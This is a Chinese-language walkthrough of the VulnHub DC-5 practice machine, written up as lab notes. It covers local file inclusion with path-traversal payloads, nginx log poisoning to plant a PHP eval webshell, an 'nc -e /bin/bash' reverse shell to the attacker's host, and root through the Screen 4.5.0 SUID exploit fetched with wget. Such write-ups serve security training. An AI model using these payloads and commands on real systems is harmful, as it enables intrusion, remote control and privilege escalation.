VulnHub DC-5 靶机渗透测试笔记

0 阅读3分钟

VulnHub DC-5 靶机渗透测试笔记

靶机信息

  • 靶机名称:DC-5
  • 靶机来源:VulnHub
  • 目标:获取 root 权限,找到最终 flag
  • 难度:⭐⭐⭐☆☆(中等)
  • 涉及技术:信息收集、文件包含漏洞(LFI)、日志污染、Webshell、Screen 4.5.0 SUID 提权
  • www.cnblogs.com/wrold/p/196…

一、信息收集

1.1 主机发现

知识点: -sn 是 Ping Scan(主机发现),不进行端口扫描。 作用:只探测目标主机是否存活,不扫描任何端口。 以前的写法是 -sP,新版 nmap 改成了 -sn,两者效果一样。

ifconfig

nmap -sn 192.168.168.0/24

还可以用 arp-scan 扫描,两者对比如下:

arp-scan -l
对比项arp-scan -lnmap -sn
扫描范围仅本网段本地+跨网段
速度极快较快
准确性几乎100%可能被防火墙拦截
能否绕过防火墙ARP无法被过滤ICMP可能被屏蔽
获取信息IP+MAC+制造商IP+端口+系统

扫描结果

  • 192.168.168.1 → VM8 网卡
  • 192.168.168.2 → 网关
  • 192.168.168.128 → Kali 本机
  • 192.168.168.169 → 靶机 DC-5
  • 192.168.168.254 → DHCP 服务器

1.2 端口与服务扫描

nmap -A -p- 192.168.168.169

  • 80 → nginx 1.6.2(主要攻击面)
  • 111 → rpcbind
  • 53552 → RPC 状态

1.3 Web 信息收集

插件识别:

只有 Contact 页面有点功能:


二、漏洞发现

2.1 发现文件包含线索

留言板随便输入,提交后跳转到:

http://192.168.168.169//thankyou.php?firstname=1&lastname=1&country=canada&subject=1

一直刷新发现下面的年份会改变

2.2 目录扫描

dirsearch -u http://192.168.168.169/
# 如果没有安装先执行
apt-get install dirsearch

发现 /footer.php,这个页面刷新年份也会变:

http://192.168.168.169/footer.php

猜测: thankyou.php 包含了 footer.php 文件,存在文件包含漏洞。

2.3 验证文件包含漏洞(LFI)

尝试在 URL 中添加 filename 参数读取系统文件:

&filename=../../../../../etc/passwd

成功读取!


三、文件包含漏洞原理

知识点: 为什么要用 ../../../../../etc/passwd 而不是直接 /etc/passwd

情况1:直接包含

include($_GET['file']);
// /etc/passwd ✅ 可以
// ../../../etc/passwd ✅ 也可以

情况2:拼接了前缀

include("./files/" . $_GET['file']);
// /etc/passwd ✅ 可以(绝对路径会覆盖前缀)
// ../../../etc/passwd ✅ 也可以(跳出目录)

情况3:拼接了后缀

include($_GET['file'] . ".php");
// /etc/passwd ❌ 变成 /etc/passwd.php
// ../../../etc/passwd ❌ 变成 ../../../etc/passwd.php

建议跑的时候多加几个 payload:

/etc/passwd
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd

关于为什么判断是 Linux 系统读取 /etc/passwd,最常用的判断方法就是 Linux 对大小写敏感,Windows 不敏感:


四、参数爆破确认文件包含参数名

使用 fuzzDicts 字典爆破参数名:

fuzzDicts-master\paramDict\php.txt

很容易就爆破出来了:

参数是 file

查看源代码看得更清楚。

也能用 wfuzz 跑,几乎瞬间出来:

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.168.169/thankyou.php?FUZZ=/etc/passwd


五、日志污染 GetShell

思路: 文件包含不能直接写文件,但 nginx 会把请求记录到日志,日志文件可以被包含执行。

日志文件路径:

/var/log/nginx/error.log
/var/log/nginx/access.log

直接提交会被编码,改用 Burp Suite 提交:

在 User-Agent 或请求中传入 PHP 代码:

<?php phpinfo();?>

然后再通过文件包含访问 /var/log/nginx/access.log,可以看到成功执行了:

改成 Webshell,用蚁剑连接:

<?php eval($_POST['a']); ?>

备注:环境崩了一次,重装了,IP 变成了 170。

查看 /etc/passwd


六、反弹 Shell

在靶机通过蚁剑执行:

nc -e /bin/bash 192.168.168.128 5566
# -e 就是执行的意思

Kali 监听:

nc -lvnp 5566

升级为交互式终端:

python -c 'import pty;pty.spawn("/bin/bash")'

也没找到特别的用户:


七、提权

7.1 SUID 文件查找

find / -perm -4000 2>/dev/null

找到一个可疑的 screen 4.5.0

7.2 搜索 Screen 漏洞

searchsploit screen 4.5.0

选第一个,找到文件地址:

find / -name 41154.sh

/usr/share/exploitdb/exploits/linux/local/41154.sh

7.3 传输并执行 Exp

上传文件有多种方式,可以在 Kali 上用 Python 开个 Web,然后在靶机上直接下载文件,也可以用蚁剑上传。

Kali 开启 HTTP 服务:

cd /usr/share/exploitdb/exploits/linux/local/
python3 -m http.server 8888

靶机下载并执行:

cd /tmp
wget http://192.168.168.128:8888/41154.sh
chmod 777 41154.sh
bash 41154.sh

找到 flag:


八、渗透流程总结

信息收集(nmap + arp-scan)
    ↓
发现 Contact 页面 → 提交表单跳转参数可控
    ↓
目录扫描发现 footer.php → 判断存在文件包含
    ↓
参数爆破确认参数名为 file → LFI 读取 /etc/passwd
    ↓
日志污染写入 PHP 代码 → 文件包含执行日志
    ↓
蚁剑连接 Webshell → 反弹 Shell
    ↓
SUID 查找发现 Screen 4.5.0 → 41154.sh 提权
    ↓
root → flag ✅

九、涉及工具汇总

工具用途
nmap端口扫描、服务识别
arp-scan局域网主机发现
dirsearchWeb 目录扫描
WappalyzerCMS/框架识别
Burp Suite抓包、日志污染注入
wfuzz参数爆破
蚁剑Webshell 管理工具
nc反弹 Shell
searchsploit本地漏洞库搜索

本文为 VulnHub DC-5 靶机学习笔记,所有操作均在本地搭建的靶场环境中完成,仅用于学习交流。